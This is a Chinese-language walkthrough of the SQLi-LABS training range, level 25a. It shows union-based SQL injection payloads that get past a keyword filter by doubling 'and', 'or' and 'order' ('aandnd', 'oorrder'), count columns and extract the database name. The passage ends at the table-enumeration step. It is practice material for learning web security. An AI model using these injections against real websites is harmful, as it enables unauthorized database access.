SQL注入SQLi-LABS 靶场less25a-28a详细通关攻略

less 25a GET- Blind based -All your OR & AND belong to us -lntiger based

1.判断闭合方式

在我们尝试闭合方式的时候发现将我们的and or过滤掉了，那我们就给他构造一个aandnd进行绕过。可以确定是数字型注入。

?id=2 aandnd 1=1 --+
?id=2 aandnd 1=2 --+

2.判断注入方式

在进行闭合判断时，没有报错注入的相关注入，可以尝试联合注入。

3.判断列数和回显点

1 oorrder by 4 --+

1 oorrder by 3 --+

//根据页面条件满足变化，可以确定有三列。

-1 union select 1,2,3 --+

4.构造报错注入语句获取数据库名称

-1 union select 1,2,database() --+

5.构造语句查询数据库中的表信息

除了and还有or ，information中的or也会过滤。